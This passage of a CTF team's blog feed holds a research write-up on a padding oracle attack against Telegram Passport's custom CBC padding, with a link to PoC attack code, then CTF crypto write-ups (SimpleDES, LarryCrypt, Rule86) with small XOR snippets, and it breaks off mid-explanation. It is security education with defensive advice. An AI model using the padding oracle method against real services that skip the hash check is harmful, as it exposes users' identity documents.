  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;secret&lt;/code&gt; contains a base64-encoded secret, encrypted with the bot’s public RSA key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ex.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[base64]&quot;&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;hash&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[base64]&quot;&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;secret&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[base64]&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;Before going further, please note that Telegram mandates developers to check that the SHA-256 hash of the decrypted padded data matches the hash provided in the JSON payload, effectively making the padding oracle attack infeasible. However, if third-party developers don’t do this check, this attack is still valid.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Note that a JSON object always starts with a &lt;code class=&quot;highlighter-rouge&quot;&gt;{&lt;/code&gt; character and ends with a &lt;code class=&quot;highlighter-rouge&quot;&gt;}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In our scenario the third-party service (e.g. a Telegram bot) that will receive this encrypted JSON object will perform the following steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Decrypt the &lt;code class=&quot;highlighter-rouge&quot;&gt;secret&lt;/code&gt; payload with the bot private key&lt;/li&gt;
  &lt;li&gt;Calculate &lt;code class=&quot;highlighter-rouge&quot;&gt;key&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;iv&lt;/code&gt; like the specification above&lt;/li&gt;
  &lt;li&gt;Decrypt the &lt;code class=&quot;highlighter-rouge&quot;&gt;data&lt;/code&gt; payload&lt;/li&gt;
  &lt;li&gt;Unpad the &lt;code class=&quot;highlighter-rouge&quot;&gt;data&lt;/code&gt; plaintext:
    &lt;ol&gt;
      &lt;li&gt;Search for the first &lt;code class=&quot;highlighter-rouge&quot;&gt;}&lt;/code&gt; character in the plaintext&lt;/li&gt;
      &lt;li&gt;Read the next byte as “padding byte”&lt;/li&gt;
      &lt;li&gt;Check if the padding length match the value of the “padding byte”&lt;/li&gt;
      &lt;li&gt;Report a padding error if there isn’t a &lt;code class=&quot;highlighter-rouge&quot;&gt;}&lt;/code&gt; character or if the padding length don’t match&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Read the JSON &lt;code class=&quot;highlighter-rouge&quot;&gt;data&lt;/code&gt;. Report an encoding error if the JSON is not valid, report success otherwise&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;performing-the-attack&quot;&gt;Performing the attack&lt;/h2&gt;

&lt;p&gt;A standard padding oracle attack against PKCS#5 starts by bruteforcing the right-most byte of the cyphertext until the padding is correct, which means that the decrypted plaintext ends with &lt;code class=&quot;highlighter-rouge&quot;&gt;0x01&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In our case we can’t perform the attack this way.
The last N byte are random bytes so bruteforcing them won’t give any useful result.
Also, since we are going backwards, sooner or later we will modify the block of cyphertext that contains the “padding byte” and we will corrupt all the block since CBC malleability acts on the next block.&lt;/p&gt;

&lt;p&gt;The approach I used instead was bitflipping (XORing with &lt;code class=&quot;highlighter-rouge&quot;&gt;255&lt;/code&gt;) byte-by-byte the ciphertext from left to right.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://PequalsNP-team.github.io/assets/cbc_bitflip.png&quot; alt=&quot;CBC BitFlip&quot; class=&quot;center-image half-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Starting from the cyphertext left-most byte, bitflip it so the first plaintext block will be corrupted but the first byte in the second plaintext block will be bitflipped as well. 
This way we will corrupt the actual JSON &lt;code class=&quot;highlighter-rouge&quot;&gt;data&lt;/code&gt; in the current block but when we hit the &lt;code class=&quot;highlighter-rouge&quot;&gt;}&lt;/code&gt; character in the next one the service will report a padding error.&lt;/p&gt;

&lt;p&gt;This approach is prone to false-positives. For example, think of a case where the corrupted data returns a new &lt;code class=&quot;highlighter-rouge&quot;&gt;}&lt;/code&gt; character that accidentally is followed by the exact padding length; when the service reports a padding error, we will perform another test on the same byte XORing it with &lt;code class=&quot;highlighter-rouge&quot;&gt;127&lt;/code&gt; instead. If the service returns a padding error again we can be pretty confident that we hit the “padding byte”.&lt;/p&gt;

&lt;p&gt;With this mechanism we can learn information about the padding length and the payload length, and we know where to start for the actual padding oracle attack.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://PequalsNP-team.github.io/assets/cbc2.png&quot; alt=&quot;CBC BitFlip&quot; class=&quot;center-image half-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s suppose that the plaintext is formed as follows:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;the &lt;code class=&quot;highlighter-rouge&quot;&gt;}&lt;/code&gt; character is in the 20th position&lt;/li&gt;
  &lt;li&gt;the padding-length byte is in the 21th position&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To learn the plaintext value in the 19th position we need to get its intermediate value and XOR it with the cyphertext value at that position.&lt;/p&gt;

&lt;p&gt;To get the intermediate value you must find the value &lt;code class=&quot;highlighter-rouge&quot;&gt;v&lt;/code&gt; in C1 that XORed with I2 gives a &lt;code class=&quot;highlighter-rouge&quot;&gt;}&lt;/code&gt; in the 19th position and the right “padding byte” in the 20th one.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;v ⊕ '}' = I2[19]
C1[19] ⊕ I2[19] = P2[19]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can bruteforce the 19th and 20th bytes in the plaintext by bruteforcing the 3rd and 4th bytes in the cyphertext (19 - 16 = 3), supplying to the padding oracle 2 blocks:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;the first block contains null bytes (&lt;code class=&quot;highlighter-rouge&quot;&gt;\x00&lt;/code&gt;) except for bytes 3 and 4, which are the ones we want to bruteforce&lt;/li&gt;
  &lt;li&gt;the second block contains the encrypted bytes we want to decrypt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once we learn the value for the 19th position we can repeat the same process on the 18th-19th bytes and so on obtaining all the plaintext*.&lt;/p&gt;

&lt;p&gt;As we noticed above, this approach is also prone to false-positives, so once we find a valid value &lt;code class=&quot;highlighter-rouge&quot;&gt;v&lt;/code&gt; we perform a verification step by replacing the null bytes in the first block with &lt;code class=&quot;highlighter-rouge&quot;&gt;\xff&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;* Unfortunately in our scenario we can’t decrypt all the plaintext since the first block is XORed with the &lt;code class=&quot;highlighter-rouge&quot;&gt;IV&lt;/code&gt; that is out of our knowledge. However, considering that the first block starts with &lt;code class=&quot;highlighter-rouge&quot;&gt;{&quot;data&quot;:&quot; + base64_of_image_header&lt;/code&gt;, we can likely bruteforce it.&lt;/p&gt;

&lt;h2 id=&quot;show-me-the-code&quot;&gt;“Show me the code!”&lt;/h2&gt;

&lt;p&gt;While I was researching this I wrote a simple server implementing our defined scenario, and a client performing the padding oracle attack demonstrating our discovery.&lt;/p&gt;

&lt;p&gt;The code is just a PoC, it’s pretty bad and nowhere near a stable version but you can download it &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/tree/master/assets/TelegramPassport&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Run the server with &lt;code class=&quot;highlighter-rouge&quot;&gt;python2 tpassport.py&lt;/code&gt; and then the client with &lt;code class=&quot;highlighter-rouge&quot;&gt;python3 passport_oracle.py&lt;/code&gt;.
You may need to resolve some dependency to run the scripts.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://PequalsNP-team.github.io/assets/tpassport.png&quot; alt=&quot;Tpassport Padding length&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;It doesn’t matter what type of padding you use along with CBC-mode, there always is an approach that can be used in a padding oracle scenario to decrypt the cyphertext.&lt;/p&gt;

&lt;p&gt;If you plan to use CBC, always perform integrity checks before the decryption in a encrypt-then-MAC fashion and, if possible, use an HMAC to authenticate the data.
If possible don’t use CBC at all and prefer an AE/AEAD mode like GCM.&lt;/p&gt;

&lt;p&gt;Last but not least important: &lt;strong&gt;Don’t roll your own crypto™&lt;/strong&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;em&gt;I would like to thank:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://twitter.com/gedigi&quot;&gt;gedigi&lt;/a&gt; for the help with the initial research on Telegram Passport.&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://twitter.com/last0x00&quot;&gt;last&lt;/a&gt; and viking for the article’s review&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Salvatore Aranzulla.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 04 Aug 2018 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/writeups/analisys_telegram_passport</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/writeups/analisys_telegram_passport</guid>
      </item>
    
      <item>
        <title>TAMU CTF 2018 - LarryCrypt</title>
        <description>&lt;p&gt;Reverse - 200 Points&lt;/p&gt;

&lt;p&gt;A binary executable called &lt;code class=&quot;highlighter-rouge&quot;&gt;larrycrypt&lt;/code&gt; was provided.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;./larrycrypt -R 4 -K &quot;V3c70R&quot; flag&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;writeup&quot;&gt;Writeup&lt;/h3&gt;

&lt;p&gt;We tried some input for the &lt;code class=&quot;highlighter-rouge&quot;&gt;larrycrypt&lt;/code&gt; binary and we noticed that it was always using &lt;code class=&quot;highlighter-rouge&quot;&gt;Mu&lt;/code&gt; as key, no matter what was the &lt;code class=&quot;highlighter-rouge&quot;&gt;-K&lt;/code&gt; parameter.&lt;br /&gt;
It was likely some bug, but then the &lt;a href=&quot;https://PequalsNP-team.github.io/writeups/simpleDES&quot;&gt;SimpleDES challenge&lt;/a&gt; we just solved came to our minds.&lt;/p&gt;

&lt;p&gt;The binary was using the same key as the other challenge’s example.&lt;br /&gt;
So we thought it was using the same algorithm, but it wasn’t the case.&lt;/p&gt;

&lt;p&gt;Larrycrypt was using 6bit blocks for the ciphertext.&lt;br /&gt;
The first block of ciphertext was the same as SimpleDES’s first 6bit of cyphertext when using the same key and the same number of rounds.
With some more reverse engineering we figured out that larrycrypt was taking the first 12 bits of plaintext, splitting them into &lt;code class=&quot;highlighter-rouge&quot;&gt;L0&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;R0&lt;/code&gt;, performing the round function and printing only the resulting &lt;code class=&quot;highlighter-rouge&quot;&gt;L1&lt;/code&gt;.&lt;br /&gt;
So they were using the same round function.&lt;/p&gt;

&lt;p&gt;But then the sequence changes, we take the &lt;code class=&quot;highlighter-rouge&quot;&gt;R&lt;/code&gt; output from the round function and use it as &lt;code class=&quot;highlighter-rouge&quot;&gt;L&lt;/code&gt; for the next round along with the next block of ciphertext.&lt;/p&gt;

&lt;p&gt;This image shows an example on 3 blocks of data, the output cypertext is made of &lt;code class=&quot;highlighter-rouge&quot;&gt;cypher0&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;cypher1&lt;/code&gt;. &lt;code class=&quot;highlighter-rouge&quot;&gt;L2&lt;/code&gt; won’t be printed.
&lt;img src=&quot;https://PequalsNP-team.github.io/assets/TAMU2018/larryscheme.png&quot; alt=&quot;larrycrypt scheme&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To decrypt this we need to bruteforce all the possible 6bit last blocks (&lt;code class=&quot;highlighter-rouge&quot;&gt;L2&lt;/code&gt; in the image), decrypt all the blocks and check if the plaintext is good.&lt;/p&gt;

&lt;p&gt;We used our previous implementation of the &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/TAMU2018/simple_des.py&quot;&gt;SimpleDES round function&lt;/a&gt; and &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/TAMU2018/larrycrypt.py&quot;&gt;bruteforce the plaintext&lt;/a&gt; with python&lt;/p&gt;
</description>
        <pubDate>Tue, 27 Feb 2018 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/writeups/larrycrypt</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/writeups/larrycrypt</guid>
      </item>
    
      <item>
        <title>TAMU CTF 2018 - SimpleDES</title>
        <description>&lt;p&gt;Crypto - 125 Points&lt;/p&gt;

&lt;p&gt;Larry is working on an encryption algorithm based on DES.
He hasn’t worked out all the kinks yet, but he thinks it works.
Your job is to confirm that you can decrypt a message, given the algorithm and parameters used.&lt;/p&gt;

&lt;p&gt;The organizer gave us a specification about this simpleDES cipher:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    His system works as follows:
    - Choose a plaintext that is divisible into 12bit 'blocks'
    - Choose a key at least 8bits in length
    - For each block from i=0 while i&amp;lt;N perform the following operations
    - Repeat the following operations on block i, from r=0 while r&amp;lt;R
    - Divide the block into 2 6bit sections Lr,Rr
    - Using Rr, &quot;expand&quot; the value from 6bits to 8bits.
    Do this by remapping the values using their index, e.g.
    1 2 3 4 5 6 -&amp;gt; 1 2 4 3 4 3 5 6
    - XOR the result of this with 8bits of the Key beginning with Key[iR+r] and wrapping back to the beginning if necessary.
    - Divide the result into 2 4bit sections S1, S2
    - Calculate the 2 3bit values using the two &quot;S boxes&quot; below, using S1 and S2 as input respectively.

    S1  0   1   2   3   4   5   6   7
    0 101 010 001 110 011 100 111 000
    1 001 100 110 010 000 111 101 011

    S2  0   1   2   3   4   5   6   7
    0 100 000 110 101 111 001 011 010
    1 101 011 000 111 110 010 001 100

    - Concatenate the results of the S-boxes into 1 6bit value
    - XOR the result with Lr
    - Use Rr as Lr and your altered Rr (result of previous step) as Rr for any further computation on block i
    - increment r
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The problem is the following:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;He has encryped a message using Key=&quot;Mu&quot;, and R=2.
See if you can decipher it into plaintext.

Submit your result to Larry in the format Gigem{plaintext}.

Binary of ciphertext: 01100101 00100010 10001100 01011000 00010001 10000101
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;writeup&quot;&gt;Writeup&lt;/h3&gt;

&lt;p&gt;While we started reading the implementation for this cipher we noticed that it was based on a &lt;a href=&quot;https://en.wikipedia.org/wiki/Feistel_cipher&quot;&gt;Feistel network&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A Feistel network is a scheme that lets you construct a block cipher efficently since it requires only a round function (that doesn’t need to be invertible) and it only involves XOR operations.&lt;/p&gt;

&lt;p&gt;The decryption is pretty straightforward.
Referring to the simpleDES implementation above:&lt;br /&gt;
On step 3, for every block before starting the rounds iteration, swap L with R.
Then at the end of the R rounds, swap L and R again.&lt;/p&gt;

&lt;p&gt;You also need to reverse the key schedule for round iteration.&lt;br /&gt;
Let’s assume you have 1 block and 3 rounds.&lt;/p&gt;

&lt;p&gt;For the encryption you use the keys &lt;code class=&quot;highlighter-rouge&quot;&gt;K0&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;K1&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;K2&lt;/code&gt;.
For the decryption you will need to use &lt;code class=&quot;highlighter-rouge&quot;&gt;K2&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;K1&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;K0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Why?&lt;br /&gt;
Immagine you start from 1 block of plaintext. You split it into 2 blocks &lt;code class=&quot;highlighter-rouge&quot;&gt;L0&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;R0&lt;/code&gt;.&lt;br /&gt;
Now you use &lt;code class=&quot;highlighter-rouge&quot;&gt;K0&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;R0&lt;/code&gt; on the round function &lt;code class=&quot;highlighter-rouge&quot;&gt;F&lt;/code&gt;.&lt;br /&gt;
This function will spit out “garbage” &lt;code class=&quot;highlighter-rouge&quot;&gt;Z&lt;/code&gt; that you XOR with &lt;code class=&quot;highlighter-rouge&quot;&gt;L0&lt;/code&gt;.
You can now use the result as &lt;code class=&quot;highlighter-rouge&quot;&gt;R1&lt;/code&gt; and use &lt;code class=&quot;highlighter-rouge&quot;&gt;R0&lt;/code&gt; as &lt;code class=&quot;highlighter-rouge&quot;&gt;L1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For the decryption you only need to XOR the “garbage” &lt;code class=&quot;highlighter-rouge&quot;&gt;Z&lt;/code&gt; again with &lt;code class=&quot;highlighter-rouge&quot;&gt;R1&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;R1 = L0 ⊕ Z
R1 ⊕ Z = L0 ⊕ Z ⊕ Z = L0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/TAMU2018/simple_des.py&quot;&gt;implemented it&lt;/a&gt; and &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/TAMU2018/feistel_decrypt.py&quot;&gt;got the flag&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 26 Feb 2018 00:00:00 +0000</pubDate>
        <link>https://PequalsNP-team.github.io/writeups/simpleDES</link>
        <guid isPermaLink="true">https://PequalsNP-team.github.io/writeups/simpleDES</guid>
      </item>
    
      <item>
        <title>InsomniHack Teaser CTF 2018 - Rule86</title>
        <description>&lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;https://cdn.rawgit.com/mathjax/MathJax/2.7.1/MathJax.js?config=TeX-MML-AM_CHTML&quot;&gt;
&lt;/script&gt;

&lt;script type=&quot;text/x-mathjax-config&quot;&gt;
MathJax.Hub.Config({
  TeX: { equationNumbers: { autoNumber: &quot;AMS&quot; } },
  tex2jax: {
    inlineMath: [['$','$'], ['\\(','\\)']],
    processEscapes: true
  }
});
&lt;/script&gt;

&lt;p&gt;Crypto&lt;/p&gt;

&lt;p&gt;Kevin is working on a new synchronous stream cipher, but he has been re-using his key.&lt;/p&gt;

&lt;p&gt;In this challenge, you are provided with 4 files:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hint.gif.enc          - An encrypted GIF
super_cipher.py.enc   - An encrypted python script
rule86.txt            - A cleartext file 
rule86.txt.enc        - The encrypted version of said file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Get the encryption’s keystream&lt;/li&gt;
  &lt;li&gt;Decrypt the GIF and the python script&lt;/li&gt;
  &lt;li&gt;Where is the flag???&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;writeup&quot;&gt;Writeup&lt;/h3&gt;

&lt;p&gt;This challenge was very original and well thought.&lt;/p&gt;

&lt;p&gt;We didn’t solve it in time, but here it is our writeup.&lt;/p&gt;

&lt;h4 id=&quot;step-1&quot;&gt;Step 1&lt;/h4&gt;

&lt;p&gt;We started by getting the keystream from the &lt;code class=&quot;highlighter-rouge&quot;&gt;rule86.txt&lt;/code&gt; file and its encrypted counterpart.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;p1 = open('rule86.txt', 'rb').read()
c1 = open('rule86.txt.enc', 'rb').read()

keystream = []
for a, b in zip(p1, c1):
    keystream.append(a ^ b)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then, decrypting the other encrypted files&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;c2 = open('super_cipher.py.enc', 'rb').read()
p2 = []

for a, b in zip(keystream, c2):
    p2.append(a ^ b)

print(bytes(p2))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since the &lt;code class=&quot;highlighter-rouge&quot;&gt;rule86.txt.enc&lt;/code&gt; file is smaller then &lt;code class=&quot;highlighter-rouge&quot;&gt;super_cipher.py.enc&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;hint.gif.enc&lt;/code&gt; we don’t have enough keystream to decrypt the latters.&lt;/p&gt;

&lt;h4 id=&quot;step-2&quot;&gt;Step 2&lt;/h4&gt;

&lt;p&gt;We noticed that the decrypted script was generating a 32-byte integer with a PRNG from the &lt;code class=&quot;highlighter-rouge&quot;&gt;key&lt;/code&gt; (aka the flag) and using that as keystream.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;RULE = [86 &amp;gt;&amp;gt; i &amp;amp; 1 for i in range(8)]
N_BYTES = 32
N = 8 * N_BYTES

def next(x):
  x = (x &amp;amp; 1) &amp;lt;&amp;lt; N+1 | x &amp;lt;&amp;lt; 1 | x &amp;gt;&amp;gt; N-1
  y = 0
  for i in range(N):
    y |= RULE[(x &amp;gt;&amp;gt; i) &amp;amp; 7] &amp;lt;&amp;lt; i
  return y

# Bootstrap the PNRG
keystream = int.from_bytes(args.key.encode(),'little')
for i in range(N//2):
  keystream = next(keystream)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The simple way to solve this and decrypt the gif and the script was to retrive the starting 32-byte integer from the known keystream and then using the PRNG function to reproduce the keystream by generating all the integer we wanted.&lt;/p&gt;

&lt;p&gt;We didn’t think about that because we noticed that the now-known piece of the gif had a pattern. (and I also love forensics :(&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://PequalsNP-team.github.io/assets/InsomnihackTeaser2018/gif.png&quot; alt=&quot;Gif&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So I’ve made a &lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/InsomnihackTeaser2018/giffer.py&quot;&gt;little script&lt;/a&gt; that recreate part of the gif following this pattern.&lt;/p&gt;

&lt;p&gt;All went smooth and without problem so I kept thinking it was the good approach, beside that the gif was corrupted, but the keystream was right and we decrypted all the script.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This was the correct gif, the hint was pretty useless for us&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://PequalsNP-team.github.io/assets/InsomnihackTeaser2018/hint.gif&quot; alt=&quot;Gif&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/InsomnihackTeaser2018/dec.py&quot;&gt;Here the scrypt&lt;/a&gt; for recovering the &lt;code class=&quot;highlighter-rouge&quot;&gt;super_cipher.py&lt;/code&gt; file&lt;/p&gt;

&lt;h4 id=&quot;step-3&quot;&gt;Step 3&lt;/h4&gt;

&lt;p&gt;Now we know that the flag is the seed of the PRNG used as encryption keystream.&lt;br /&gt;
We only need to reverse it and get the previous number for each step. &lt;strong&gt;&lt;em&gt;Easy.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s start from this line.&lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;x = (x &amp;amp; 1) &amp;lt;&amp;lt; N+1 | x &amp;lt;&amp;lt; 1 | x &amp;gt;&amp;gt; N-1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;(x &amp;amp; 1)&lt;/code&gt; get the lsb from &lt;code class=&quot;highlighter-rouge&quot;&gt;x&lt;/code&gt; (our starting number)&lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;(x &amp;amp; 1) &amp;lt;&amp;lt; N+1&lt;/code&gt; will shift it 257 positions left (N = 256)&lt;/p&gt;

&lt;p&gt;if &lt;code class=&quot;highlighter-rouge&quot;&gt;x&lt;/code&gt; lsb is &lt;strong&gt;0&lt;/strong&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;(x &amp;amp; 1) &amp;lt;&amp;lt; N+1&lt;/code&gt; will be &lt;code class=&quot;highlighter-rouge&quot;&gt;0&lt;/code&gt;&lt;br /&gt;
if &lt;code class=&quot;highlighter-rouge&quot;&gt;x&lt;/code&gt; lsb is &lt;strong&gt;1&lt;/strong&gt;. &lt;code class=&quot;highlighter-rouge&quot;&gt;(x &amp;amp; 1) &amp;lt;&amp;lt; N+1&lt;/code&gt; will be &lt;code class=&quot;highlighter-rouge&quot;&gt;1 &amp;lt;&amp;lt; 257&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;x &amp;lt;&amp;lt; 1&lt;/code&gt; shift &lt;code class=&quot;highlighter-rouge&quot;&gt;x&lt;/code&gt; by &lt;strong&gt;1 position&lt;/strong&gt; to the left&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;x &amp;gt;&amp;gt; N-1&lt;/code&gt; will take the &lt;strong&gt;2 msb&lt;/strong&gt;, shift them by &lt;strong&gt;255&lt;/strong&gt; positions right and &lt;strong&gt;OR&lt;/strong&gt; them as &lt;strong&gt;lsb&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Turns out this is very easy to reverse and also &lt;strong&gt;the output number&lt;/strong&gt; has its &lt;strong&gt;2 msb equals&lt;/strong&gt; to its &lt;strong&gt;2 lsb&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The reverse operation is the following: &lt;code class=&quot;highlighter-rouge&quot;&gt;x = (x &amp;gt;&amp;gt; 1) &amp;amp; ((1 &amp;lt;&amp;lt; N)-1)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;x &amp;gt;&amp;gt; 1&lt;/code&gt; shift &lt;code class=&quot;highlighter-rouge&quot;&gt;x&lt;/code&gt; by 1 position right, eliminating the &lt;strong&gt;2 lsb&lt;/strong&gt; added above.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;AND&lt;/strong&gt; operation filters the first operand’s bits where the second operand has bits set to &lt;code class=&quot;highlighter-rouge&quot;&gt;1&lt;/code&gt;. (I hope you know how AND works)&lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;(1 &amp;lt;&amp;lt; N)&lt;/code&gt; is &lt;code class=&quot;highlighter-rouge&quot;&gt;0b1000000&lt;/code&gt; with N zeros. Minus one will result in &lt;code class=&quot;highlighter-rouge&quot;&gt;0b111111&lt;/code&gt; with &lt;strong&gt;N&lt;/strong&gt; ones.&lt;/p&gt;

&lt;p&gt;We are effectively filtering only the &lt;strong&gt;N&lt;/strong&gt; bits we wanted, eliminating the &lt;strong&gt;2 msb&lt;/strong&gt; added above.&lt;/p&gt;

&lt;p&gt;Then the PRNG takes 3 bits at a time from the right and substitute them by the &lt;strong&gt;RULE&lt;/strong&gt; array.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;for i in range(N):
    y |= RULE[(x &amp;gt;&amp;gt; i) &amp;amp; 7] &amp;lt;&amp;lt; i
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For example if we have &lt;code class=&quot;highlighter-rouge&quot;&gt;0b1100&lt;/code&gt;, the for works like this:&lt;/p&gt;

